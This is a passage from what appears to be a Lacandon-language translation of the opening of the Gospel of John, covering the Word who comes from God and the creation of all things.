Áánútumbo arááímo tainí'a amápa'a kwée'a táákaevayan-kwaasiraamba umái asiramái ménaaontavena mindáyavena námúnaa kwésiye. 13 keinárawa'a Kórósi-naopaken-kwaasiye Áréótísiyaa-naopaken-kwaasiye Írápórisi-naopaken-kwaasiye túwa'naa íníntavena anóm-bayai kwémayaimba awáné'a kwésimatimune. 14 moóráwai áwí'a Árúku kwená imáyáa kwéundawaiya kentáásí sontaa-kwáásí éna keinárawatavena séna kawe'á umái máéro kwésisana moóráwai áwí'a Tímasi keinárawatavena séna kawe'á umái máéro kwésiye.\n15 Áánútuna kwaási Áréótísiyaa-naopakewaiyaveta séta kawe'á umái máéro kwéseta Áánútuna kwaási Nímpaana naaúmpa'a torupamái máyáawaiyaveta séta kawe'á umái máéro kwésunda kosimátíméro. 16 maanáúváívínkén-áímbá táámpamai síya'a amáparawai isáíyuwe'a ti'maráíyasa maimaésa Áánútuna kwaási Áréótísiyaa-naopa'a máyáawai mátimiyasa awánésa ísáaro. miwíyávé'a tímakaunda-auvai timíya'a mimpínkén-áímbá ísáaro. 17 moóráwai Ákípáasimba simáme'a sé'a Ísóigo ámakaim-bayai asiramái kwémae ánásaao siyé simáméro.\n18 ayááírá'a kemá Póro agaimaráúmpo awáné'a kwenayáánavi'a póna kwenááiman-iye sé'a ísáaro. kemá Póro sé'a kawe'á umái máéro kwésune. kemá ándáva'o máyaunda-imayaa kwée'a Áánútumpa'a námúnaa símae íyóro.\nÁánútu úwoimo kwétuwa'naa-intave'a námúnaa kwésune.\nkemá Póro súnda-aimba ánásaiye.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/png.bible\/kze\/COL04.htm","date":"2023-06-01T19:07:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648000.54\/warc\/CC-MAIN-20230601175345-20230601205345-00142.warc.gz","language":"kze","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000087022781372}","num_words":393,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.252,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"8\nÍsóigona kwaási túwa'naa uráan-kwasai.\n1 kesí kwaásiyono. Másétóniyaa-marava'o naaó'-nao'a máyáawai Áánútuna kwaási kwemá kwétuwa'naa-in-aimba simátimenaumpo ísáaro.\n2 anón-umbai-yantaa'a miwítópa'a téna kwétavisisasa íma ivátuwesa Áánútuntavena tirunkó kawe'á úmae íyísasa miwí kesáváí óísaniyaain-kwaasi máyáantavesa íma imáyáa ésa Yútiyaa-marava'a Ísóigona kwaási máyáawaiyavesa imáyáa ésa sáwíyan-oisamba makáampinkemba sáwíva-tantaa'a torupásuwesa túwa'naa uráawe.\n3 árair-aimba simátimune. miwí sésa maarán-tántáá'á kanaán-umai timénaumpo ó'omba torupamái timénáe sésa miwítí imáyáavinkemba mirá ésa sáwíva'a tímakaawe.\n4 kentááyávésa asiramái símae iyésa sésa Yútiyaa-marava'a Ísóigona kwaási máyáawai timénáe sétaamo únda aamoí kwéune siráawe.\n5 imáyáawe su'maimo únda-yantaare su'mai íma tímakaavo ó'on-o'on-tantaakwara'a timésa aiva'á Ísóigontavesa sésa ená kwaási-i'a umáíya méta ená mayáíyá kwémayaumne sirésa Áánútuna imáyáavinkemba kentááyávésa sésa Áánútuna mayáí simásimiyata keinárawate mayánaumne sésa\n6 maanká'á Másétóniyaa-marava'a máyáawai mirán-áímbá siráamba póta Táításimba simámeta séta Yútiyaa-marava'a Ísóigona kwaási túwa'naa ónááom-bayai Kórínti-naopa'a koááimba ásáre tayauweré kuré túwa'naa inasá torupamái maráíyana ánásaino Táításimba simámakaumne.\n7 ó'on-o'om-bayai kawe'á umái kwémaraawai é'a Áánútun-aaiyave'a asiramái imáyáa kwée'a kwenáái kawe'á umái kwésimatime'a kwenááigona ááimba kawe'á umái kwéise'a karuwaa'á é'a kwétuwa'naa-e'a kentirumbá kwésime'a mirámó kwéon-kwaasi ontávéta simátimeta séta Yútiyaa-marava'a Ísóigona kwaási máyáawai túwa'naa ónááomba kawe'á umái timénááowe kwésune.\n8 maanká'á Másétóniyaa-maravakewai Yútiyaa-marava'a Ísóigona kwaási máyáawaiyavesa imáyáa ésa kawe'á umái tímakaan-aimba timénaunda mirán-oro íma kwésumpo timénááo. íya timénááoo sé'a kentirunkómbá tísaa umai kwéisaumne.\n9 kentáásí Ísóigo Ísu Káráísiti úwoi kwétuwa'naa-imba ísaraawe. kwíyómpa'a ó'oran-kawe'a umái máyomba keinárawatavena imáyáa éna kwíyómpa'a tuwéna kawe'á umái ménaaontavena úwoi-kwaasiraamba umái marapá'á kumbéraiye.\n10 ké'naan-aimba kesí imáyáavinkemba súmpo ísáaro. ááéma Áánútuna kwaásivinkemba keinárawa'a aiva'á sé'a torupamái timénáe sé'a ááimba asé'a moórá-ima maisukáavo ívé'a mimbáyáí ánásasuwaaro.\n11 ááéma karuwaa'á umái to'mayaa é'a ívé'a karuwaa'á é'a sáwíva-tantaa'o makáawai sáwíva'a maráíyasa sáwíyambo makáawai miráumai maráíyasa miráumai maráíyana ánásaino.\n12 sáwíva-tantaa'o máráane sáwíyambo máráane Áánútu tuwánanivo timénáemo síyan-tantaa'a sáwíva-tantaapinkemba sáwíva'a maré'a sáwíyampinkemba sáwíyamba maré'a timénááomba Áánútu awánéna kanaán-iye síníye.\n13 túwa'naa ónááomba íma amápa'a tu'mái ánáse'a kesávé'a kwémare'a oró.\n14 ánivo ívé'a makáan-tantaa'a kwáyáintave'a mimpínkémbá timé'a naaémbo ímo maránááomba miwí keinárawa'a túwa'naa ónááomba mimbóráí'a umái ménaaowe.\n15 miráumai naaóvá'á Áánútun-aai aúváívimba agaimaréna moórá-tonko áwí'a máána-tone séna\ntoóntávéna séna sáwíva'a túkúmai kwénowai tímú'a vówasa íma aráá'a márówasa sáwíyamba túkúmai kwénowai tímú'a vówana íma táái tínkaraiye\nagaimaréna siráiye. miráumai ívé'a makáan-tantaa'a kwáyáintave'a mimpínkémbá timé'a naaémbo ímo maránááomba miwí keinárawa'a túwa'naa ónááowe.\nTáítási Kórínti-naopa'a kuráin-kwasai.\n16 Áánútu Táításimba imáyáa ámísana kemó túwa'naa úndantemba kwegwárá'á túwa'naa ónáe kwésisata mindáyave'a Áánútumpa'a súwi kwésune.\n17 Táításimba simámeta séta kotúwa'naa inasá Yútiyaa-maravaken-kwaasi túwa'naa ónááontavesa évaka-tantaa'a torupamái maránááowe súndayavenaya aamoí éna kwená imáyáavinkenkwara'a séna ó'a miwísé koménaumne Táítási siráiye.\n18 Táításimba ai'máráandara'a moórá-kwaasigwara'a ai'máráanana kwesé kwíníye. kwemá áséi-kwasai simátíma'mae kwénaaisasa naaó'-naokemba Ísóigona kwaási kwenáwí'a mósá kwémaraawai kwemá Táításiye kwíníye.\n19 Ísóigona kwaási naaó'-naokemba kwembá usásinankesa sésa esé mimbáyáí mayaaó sewaná keséya kwénaaena túwa'naa únda-mayaiya kwémayaisasa kentáásí mayáígómbá awánésaya sésa toómbá íma makáan-kwaasi kwétuwa'naa-owe kwésesa Ísóigo áwí'a mósá kwémaraawe.\n20 mimbáyáímó kwémayaundaya sáwí'an-owe seváíyé séta\n21 Ísóigo aúrankare kwaási túrankare mimbáyáí kawe'á ónáe séta naaó'-nao'a kwénaaeta torupámáráan-ontantomba maimaéta ímo makáan-kwaasi túwa'naa ondayávéta kwénaaumne.\n22 minkáé'náraimo ti'máráandara'a moóráwainkwara'a ai'máráanana kwéna kaumbosé koínímba kwembá sáwíva-tawai áísaa umai awánanae súndaya kwétuwa'naa-in-kwaasigo isatá awánaraumne. keinárawa'a kawe'ó umáímo máyáan-aimba iséna póna kotúwa'naa ónáe siráiye.\n23 Táításin-aai súnda kesé tágárotamai ména túwa'naa índayavena kesé mayáí kwémayaiye. kwesémo koóyááoiyan-kwaasi táái súnda mimbáyáí mayáyááoiyantavesa naaó'-naokemba Ísóigona kwaási keinárai usásintinkaraayasarai Ísu Káráísiti áwí'a mósá kwémaraaiye.\n24 mindárau kentópa'a komáyaiya'a kentirumbá tíméro. kentúmo maé kwéiyundayavesamo sésa árai'a kawe'á umái máyáawe kwésesa naaémba naaó'-nao'a Ísóigona kwaási kosimátíma'mae naaíyasa kentáái isánááowe.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/C28.html","date":"2023-09-24T22:50:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506669.96\/warc\/CC-MAIN-20230924223409-20230925013409-00716.warc.gz","language":"kze","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000070333480835}","num_words":524,"character_repetition_ratio":0.078,"word_repetition_ratio":0.008,"special_characters_ratio":0.168,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"3\nÍsóigona kwaásira'a kárákwiraawaiti kwaasái.\n1 évakarawaimo Áánútuna kwaásira'a kárákwiyi-mayai mayánáe síyawaimo ésa tirááímo taí-máyáí kawe'-máyáímán-iye siráamba mináímbá árair-aimban-iye.\n2 moóráwaimo Áánútuna kwaásira'o kárákwiraiwaina mayáímó mayáíndawai maarán-kwáásígómán-iye. kwempímbá íma sáwí-aimba kwáyaindawai éna mimbórá-ínímbá makáindawai éna arupí umái kawer-ímáyááwé su'mai kwéindawai éna kwenáwí'a mósá maréwai éna namu-kwaasí naambá tiména toómbá tiména índawai éna Áánútun-aai kanaán-umai simátíma'maena kwéiyindawai éna\n3 íma uwo'aó'-nómbá námae naaéna uwo'aó'á índawai éna íma aaisan-áímbá séna paru umái máyaindawai éna íma óntantavena aúran-anda kwéindawai éna\n4 kwená naaúmpa'a máyáan-kwaasira'a kawe'á umái kárákwiraindawai éna kwená iyámpói kwentávésa ésa kwenáái kwéisaiyawai éna mirán-kwáásígómó éna Áánútuna kwaásira'o kárákwiraiwaina mayáímá mayáníye.\n5 moóráwaimo kwená aarai-iyámpóíra'o ímo kawe'ó umáímo kárákwiraindawaimo éna Áánútuna kwaásira'a íma kanaán-umai kárákwiyiniye.\n6 ívé'o Áánútuntavenamo ísámaimo tíndawaimo éna Áánútuna kwaásira'a kárákwiraiwaina mayáímá íma mayáníye. mirán-kwáásígómó mimbáyáímó maénamo éna kwenáúma maé iyínana Sáátáánigomo sáwí-meyambo mayánínteni'a mirá íníye.\n7 kwembá simái sáwí'a umánkáavo Sáátáánigo tamaimái kweivarí'a iváínivo Áánútunopa'o ímo tiráan-kwaasigwara'o sésamo kaweré su'mai umái máyáiwaiman-iye síyan-kwaasigomo éna mirán-kwáásígówé su'mai Áánútuna kwaásira'a kárákwiraiwaina mayáímá mayáníye.\n8 Áánútuna kwaásira'a kárákwiraawai kwétuwa'naa-owai maarán-kwáásímán-owe. arupí umái máyaiyawai ésa íma kaumbo-káér-imayaamo tokáiyawai ésa íma uwo'aó'-nómbá námae nááíyawai ésa íma óntantavesa túran-anda kwéiyawai ésa\n9 tirunkakémbó árair-aimbo isésamo kwéomba Áánútuna árair-ainkona ááimba tátoraawai ésa\n10 mirán-kwáásímá ésa Áánútuna kwaásira'a kárákwiraawai kwétuwa'naa-owaiti mayáímá mayánááovo aiva'á miwítí mayáímá tuwánewasamo kawe'ó íya'o é'a mimbáyáímá tíméro.\n11 mirá íyasamo ésa miwí tuwainímbáá'a maarán-ínímbán-owe. kawe'á umái maíyawai ésa íma kwantánaanta-aimba kwésen-inimba pósa arupí umái mésa amápa'-mayai kawe'á umái kwémayaawe.\n12 Áánútuna kwaásira'a kárákwiraawai kwétuwa'naa-om-bayaima kwémayaawai maarán-kwáásímán-owe. kímbora-inimba mapá kuráawai ésa miwítí iyámpóírare miwítí naaúmpa'a máyáan-kwaasirare kawe'á umái kárákwiraawai ésa mirán-kwáásímó Áánútuna kwaásira'a kárákwiraawai kwétuwa'naa-om-bayaima mayánááowe.\n13 mimbáyáímó kawe'ó umáímo mayánááowai ésa Ísu Káráísitiye aráápamai máyáan-aimba asiramái simátimiyasa isésa miwí túwí'a mósá maránááowe.\nárai'-monor-ainkona ááin-kwasai.\n14 Tímótiyo kemá Póro sáwíyanka'a embá koawánanae sé'a kwée'a maanáúváímá kwéagaimai tuwáúmpo awánaao.\n15 enópa'a kónáe sé'a onda-ámbó itáinamo e maanáúváí awáné sé kesáá Áánútuna akúntá únanaya agaimakáimba símakaimba póta miráyá ónaumne síníyone. ávombo aimakésamo megwímegwigomo ávonka'o tátoraintemba kesáá Áánútu máyáiwaina kwaásiya éta kwená árair-aimba tátokaundayaawe.\n16 árai'a árai'-monor-ainkona ááimba paárúwana anón-kwaasi éna maarán-iye.\nÍsu Káráísiti marapá'á kwaási-i'a umái paárúwana Áánútun-amanko kwentávéna séna arupí umái máyáiwaiman-iye súwasa Áánútuna kwayó'nárawa'a kwíyómpakewai awánowasa kwaási ó'on-o'om-baravakewai kwenáái simátíma'mae kuwasá kwenááiyavesa áraire suwaná Áánútu kunáí'maena kwíyómpa'a móankaraiye.\nmináímbá árai'-monor-ainkona ááimban-iye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/T13.html","date":"2023-10-03T18:15:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511170.92\/warc\/CC-MAIN-20231003160453-20231003190453-00303.warc.gz","language":"kze","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.000009298324585}","num_words":351,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.259,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"21\navakaeté-kwaasima Ísumba awánaraan-kwasai.\n1 naaémba Táípíriyasi-kwaaunkon-awampa'a Ísu miráumai paárúwasa kwená kwayó-kwáásí awánaraawe.\n2 kwená kwayó-kwáásí torupésa miwí túwí'a Sáímoni Pítaawe Tómáasi kwááyu-awi'a ávárawaawe moóráwai Káríri-ayampakemba Kéna-naopaken-kwaasi áwí'a Nátáníyowe Sépéti ááninkaiye ó'on-kae-kwaasiye miráumai-kwaasi torupówana\n3 Sáímoni Pítaa simátimena séna noyáá'a kotoránáe'a kúne súwasa kesáágwara'a montá kónáeta kwéune sésa nompí-sípívímbá usámaaisesa kumbá no'wáámba noyááramai kwima-kwimar-umbá íma noyáá'a torówana\n4 irataró'a Ísu nonawámpá'á máyowasa íma aúyowana\n5 Ísu séna iyámpóíyono. noyáá'a tokááo súwasa ímaniye suwaná\n6 Ísu séna kwase-únámbá tiyáánúrapar-ayampa'a nompímbá túwéwana kumína'a noyáá'a asínáaro súwasa kwemó súnten-umai sáwíva'-noyaa'a asínówana mindómpí-sípívímbá íma kanaán-umai máráára'naraa éna ógwitowa'a\n7 kemá Pítaantave'a sé'a epínda Ísóigoman-iye séwánana Pítaa mináímbá iséna mayáímó mayáíndayavena paákákén-únánkwátói ayú'maromba minúnánkwátói maimái úmaena nompí-sípí tuwéna nompímbá ásávena nonáámááíva'a kúwana\n8 nonáámááí egwaa'á kwáyowata ó'on-kwaasiya mindómpí-sípí maimaéta kwase-únámbá tavisímaeta kówándaya\n9 nonáámááíva'a ásávaawandaya iramá kwégowana noyáákwara toónkwárá'á kwéagayowata awánaawananaya\n10 Ísu séna tóráan-doyaa'a évaka'a maimaé'a teró súwana\n11 Sáímoni Pítaa nompí-sípívímbá usámaaisena kwase-únámbá tavisímaena nonáámááíva'a mámarowana anón-doyaa'a 153 noyáá'a kwéna sáwíva'-noyaa'a kwáyombanivo kwase-únámbá íma tararówana tavisímaena nonáámááíva'a mámarowana\n12 Ísu simásimenaya séna tamandaaró súwata nááwa'ono séta áísaa ónáe séta ówándaya íma áísaa eta Ísóigoma iyé-ímáyáámá ówánanaya\n13 Ísu noyáákwara toónkwárá'á maimái símakaintaawe.\n14 Ísu pukómpinkemba usásinomba kaeká'á paárúmba ívékwarakaamba paárúwata awánaraundayaawe.\nÍsu Pítaantavena kesí kwaásira'a taviyiyó siráin-kwasai.\n15 toómbá násuwowana Ísuma Sáímoni Pítaantavena séna Yóni ááninko Sáímoniyo. miwímá usáyaaitewa enarumbá kwésimeno súwana owé Ísóigoo ená imáyáamo umánkaunda á'a suwánaraane súwana Ísu séna kesí sipisípi-araaka'a taviyiyó séna\n16 ókwara'a Ísu áísaa ena séna Yóni ááninko Sáímoniyo. kesí imáyáama kwéono súwana owé Ísóigoo ená imáyáamo umánkaunda á'a suwánaraane súwana Ísu séna kesí sipisípira'a taviyiyó séna\n17 kaumborá'á Ísu áísaa ena séna Yóni ááninko Sáímoniyo. kesí imáyáama kwéono súwana kaumborá'á áísaa ena súntavena Pítaa arumbá umbaí tówana séna Ísóigoo amápa-tantaa'a á'a awánaraandayavai ená imáyáamo umánkaundagwara'a á'a suwánaraane súwana Ísu séna kesí sipisípira'a taviyiyó.\n18 árai'a simáme'a sé'a emá aú-kwaasima máyaanda po ená unáánkwátói ane'maké ená imáyáavinkemba úwoi kwénaaempo anónu'mai kéma enayáámba árútuwenasa ímo embó arááímo táíndava'a máankanaaowe Ísu séna\n19 mináímbó súmba Pítaamo miráumai taaira'á puwéna mindá Áánútu áwí'a mósá maráníye séna Pítaantavena séna kesirááíma kwaraaó siráiye.\nÍsunte Yóninte mindáraiti kwaásai.\n20 Ísu Pítaantavena simásuwowana Pítaa kogwanténa moóráwaimba awánarai. ááéma toómbá narópa'a Ísun-aóká'á ména séna Ísóigoo nááwa ená kuntaru-kwáásí íníyo siráiwaimba\n21 Pítaa kogwanténa awánéna Ísuntavena áísaa ena séna Ísóigoo minkwáásíndó súwana\n22 Ísu séna kemó súndamo é'o é'a kwemó éna úwoi maambárárá máyaina'a kemá kumónaumnemo súndamo énamo éna íma endéín-ivo kendéímán-iye. emá kesirááíma kwaraaó Ísu súwasa\n23 kwená kwayó-kwáásí íma kawe'á umái ísónkakemba sésa kwemá íma puwíníye sésa simátíma'mae kuwaná kwemá íma puwíníye Ísu íma mirá siráimbanivo kwemó éna úwoi máyaina'a kemó kumónaumnemo súndamo énamo éna íma endéín-iye Ísu siráiye.\n24 íma puwíníyemo siráan-kwaasi kemá Yóni úne. mináímbá kwésimatimatuwe'a aúváívimba kwéagaisuwaunda mináímbá árair-aimban-iye.\n25 Ísumo mairáim-bayaima évaka'a agaé'a évaka'a íma agairáunda pó'a amápa'o agaisuwé'o é'a maranéí káátamaranaumpo náávara maránaumno sé'a súne.\nkemá Yóni súnda-aimba ánásaiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/JN21.html","date":"2023-10-04T17:29:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511386.54\/warc\/CC-MAIN-20231004152134-20231004182134-00742.warc.gz","language":"kze","language_score":0.9999881983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999881982803345}","num_words":443,"character_repetition_ratio":0.054,"word_repetition_ratio":0.023,"special_characters_ratio":0.169,"stopwords_ratio":0.233,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"7\nÁánútun-amanko agaráásínkarain-anta kwégwaraunda-kwasai.\n1 kesí kwaásiyono. amáparawai ámáán-aimba ísaraamba pó'a simátíménda ísáaro. úwoimo máyáanka'a ámáán-ainko kárákwiraimba póna puwíyamba mináínkó íma kárákwiyiniye.\n2 ámáánkomo siráintemba aarakwá'ó ombá awaikómó aúvamaimo máyáinka'a awainínkó kwesé tarúmai máyáísana awaikómó púwísanamo imbá tarúmaimo máyaayamba kwéanasaiye.\n3 awaikómó máyáinka'a aaraigómó ó'on-kwaasigoe námae kwénaaisanamo imbá sáwí-inimban-iye kwésevo awaikómó puwínanamo éna ámáánko siráintemba ó'on-kwaasimo mayánímbo éna kanaán-iye.\n4 kesí kwaásiyono. miráumai keinárawatavenawe séna Ísu Káráísiti pukáimba Áánútumo Mósesimbo simámakain-amaamba imáyáa é'a Ísu Káráísitiye tarúmaimo máyáantave'a pukáara'naraambo umáímo máyáamba minámáánkó íma tátokaivo Ísu Káráísitiye tarúmai máyáawe. Áánútu Ísu Káráísitimba pukáimpinkemba usásinankaraiwai Ísundei-i'a umái mé'a pó'a Áánútuna mayáí kwémayaawe.\n5 ááéma sáwí-imayaayaveta sirááíyavetaamo uráundarata íma mirán-oro siráin-amaamba iséta imáyáa éta ivátuweta sáwí-imayaayaveta sirááíyaveta éta sáwí'a éta puwónaunda-amba kwaréta\n6 miráyá uráunda ívé'a Áánútu sáwí-imayaago tátokaimpinkenta iyásínkáísanaya Áánútumo Mósesimbo simámakain-amaanko íma tátokaisata ááéraan-amba Mósesimo agaimakáin-amaankona aambá íma kwaréta aúná-amba Áánútun-amanko agaráásínkarain-anta kwégwaraumne.\nÁánútuna ámáámbo ímo kwáyáinkakai sáwí-mayaigona ááimba íma isáúsino siráin-kwasai.\n7 mináímbó imáyáa é'a simátíménda ísáaro. Áánútumo Mósesimbo simámakain-amaantave'a sáwí-amaamban-iye íma seró. minámáán-áímbó ímo kwáyáinkakai sáwí-mayaigona ááimba íma isáúsino. túran-anda íma oró. minámáánkómó ímo mirá siráinkakai súran-andamo úndayave'a sáwí'a kwéune íma súsino.\n8 minámáánkó séna túran-anda íma oró siráimba kempímbá sáwí-imayaa kwáyáimba pó'a minámáámbá araaisénáe sé'a súran-anda ávááraumai uráumne. minámáánkómó ímo kwáyáinkakai sáwí'o kwéunda íma imáyáa é'a sáwí'a kwéune súsino.\n9 ámáánko íma mirá oró siráimba íma isé'a kawe'á umái máyaumne-imayaa é'a mé'a naaémba minámáámbá ísaraunda araaisénáe sé'a arááíraunda\n10 mindá puwónaundawai úne. minámáámbó kwakáundarakai kawe'á umái máyausino. minámáámbá arááíraundawai pó'a puwónaundawai úne-aimba ísaraumne.\n11 minámáánkó séna íma mirá oró siráimba kempímbá sáwí-imayaago kwéna póna kampa'á simásiyuwaisa'a mináímbá araaisénáe sé'a arááíraunda pó'a puwónaundawai úne.\n12 miráumai Áánútumo Mósesimbo simámakain-amaan-aimba íma mirá oró-áímbá Áánútun-aai arupí-aimba kawer-áímbán-iye.\n13 minkáwér-áínkó íma puwónaundai'a umásínkaraivo kesí sáwí-imayaago puwónaundai'a umásínkaraiye. sáwí-imayaayave'a siráái kwétaimba pó'a minámáámbó araaisénáe sé'o arááíraunda puwónaundawai é'a kesí sáwí-mayaigona ááimba ávááraumai sáwí'a úwa'a awánaraumne. minámáánkó séna íma sáwí'a oró siráimba pó'a kemó sáwí'o uráunda kesí sáwí-imayaago anómba sáwí'a úwa'a awánaraumne.\nsáwí'o kwéundawaiya tátokain-kwasai.\n14 ámáámba Áánútumpakemba kunkáivo kemá marapákén-kwáásí únana sáwí'o kwéundawai tátokaisa'a minímáyáágóná mayáí kwémayaumne.\n15 kawe'ó úndayavena kwésinkaisa'a mirá ónáe súndanivo íma mirá kwéune. sáwí'o úndayavena íma kwésinkaisa'a íma mirá ónáe súndanivo mirá kwéune. mirámó kwéunda íma kawer-ímáyáá kwéune.\n16 íma sáwí'a ónáe súndanivo mirá-sáwí'ó kwéundayave'a sé'a Áánútu siráin-amaamba kawer-ámáámbán-iye kwésune.\n17 sáwí'o kwéunda íma kemá mirá kwéumpo sáwí-imayaago kempímbá kwáyáísa'a sáwí'a kwéune.\n18 marapá-kwáásí únda kanaán-umaimo kawe'ó únda kempímbá íma kwáyáísa'a awánaraumne. kawe'ó úndayavena kwésinkaisa'a íma kanaán-umai kawe'á kwéune.\n19 kawe'á ónáe sé'a úndanivo íma mirá é'a íma sáwí'a ónáe sé'a úndanivo úwoi sáwí'a kwéune.\n20 íma sáwí'a ónáe súndanivo mirá-sáwí'á kwéunda íma kemá mirá kwéumpo sáwí-imayaago kempímbá kwáyáísa'a sáwí'a kwéune.\n21 maarán-áínkóná ááimba kwáyáiye. kawe'á ónáe sé'a úndanivo sáwí-imayaago tavisímae kwéiyisa'a\n22 kesirumpimbá Áánútuna ámáántave'a aamoí kwéundanivo\n23 moórá-ainkona ááimba kempímbá kwáyáísana sáwí'o ónáe súndawai kembá tavisisaná Áánútuna ámáámba kawer-ámáámbá pó'a kwaránáe súndawai tavisisaná sáwí'o ónáe súndawai tavisimái tátokaiye.\n24 eésé'á kwéunana sirunkó sáwí'a kwéisa'a máyaundayave'a sé'a sáwí'a kwée'a puwónaundai'a kwéundavinkemba nááwa siráníyono kwésunana\n25 Ísóigo Ísu Káráísiti síráísa'a Áánútuntave'a súwi kwésune.\nmiráumai kesirumpinkén-ímáyáá kwée'a sé'a Áánútuna ámáámba kwaránáe súndanivo kesúgoma sáwí-imayaavinkemba sáwí'a kwéiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/RM7.html","date":"2023-10-01T21:09:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510941.58\/warc\/CC-MAIN-20231001205332-20231001235332-00325.warc.gz","language":"kze","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000088214874268}","num_words":479,"character_repetition_ratio":0.069,"word_repetition_ratio":0.004,"special_characters_ratio":0.17,"stopwords_ratio":0.246,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/kze_Latn/fineweb-2_000001_stas.jsonl b/kze_Latn/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..06640720c5cd03266fc6071716096d7c06cf71f9 --- /dev/null +++ b/kze_Latn/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 659.975845410628, + "character_repetition_ratio": 0.05802415458937198, + "word_repetition_ratio": 0.0011352657004830918, + "special_characters_ratio": 0.15730917874396133, + "stopwords_ratio": 0.15518357487922704, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9986038647342996, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 232.20666789440702, + "character_repetition_ratio": 0.013201683252918985, + "word_repetition_ratio": 0.00368717096977088, + "special_characters_ratio": 0.007900410482941283, + "stopwords_ratio": 0.04379128275343454, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.002352423879173791, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 638.0, + "character_repetition_ratio": 0.055, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.156, + "stopwords_ratio": 0.152, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.999, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 1906.0, + "character_repetition_ratio": 0.12, + "word_repetition_ratio": 0.023, + "special_characters_ratio": 0.185, + "stopwords_ratio": 0.259, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 247.0, + "character_repetition_ratio": 0.036, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.14, + "stopwords_ratio": 0.051, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.981, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 941.0, + "character_repetition_ratio": 0.074, + "word_repetition_ratio": 0.003400000000000006, + "special_characters_ratio": 0.16840000000000002, + "stopwords_ratio": 0.2184, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 781.5, + "character_repetition_ratio": 0.063, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.162, + "stopwords_ratio": 0.1845, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 638.0, + "character_repetition_ratio": 0.055, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.156, + "stopwords_ratio": 0.152, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.999, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 479.5, + "character_repetition_ratio": 0.049, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.1525, + "stopwords_ratio": 0.122, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 500.0 + } + }, + { + "total size": "207", + "keep size": "185", + "remove size": "22" + } +] \ No newline at end of file diff --git a/lac_Latn/fineweb-2_000001_keep.jsonl b/lac_Latn/fineweb-2_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..c6423052d1ebbff90b168020b719fe492ce02c8f --- /dev/null +++ b/lac_Latn/fineweb-2_000001_keep.jsonl @@ -0,0 +1,152 @@ +{"text":"1\nA jera' cu tsicbar ti' to'onex a mac a cu tar ich C'uj soc u tsicbʌtic to'onex bicyʌra' C'uj\n1Mʌ' toy betac ru'um mʌ' toy betac ca'anan xan. Rajra' ti' yʌn a mac a cu bin tar u tsicbar to'onex bicyʌra' C'uj. Raji' ti' yʌn yejer ic Tet C'uj quire' raji' C'uj a cu bin tar. 2Rajra' ti' yʌn a mac a cu bin tar ich ic Tet C'uj cax mʌ' toy betac ru'um yejer ca'anan xan. 3Tu cotor a ba' ti' yʌn, raji' u beyaj C'uj. Mʌna' mac u jer tu betaj. Raji' tu junan caj u betaj. 4Raji' tu junan cu ts'ic ij cuxtarex. Raji' tu 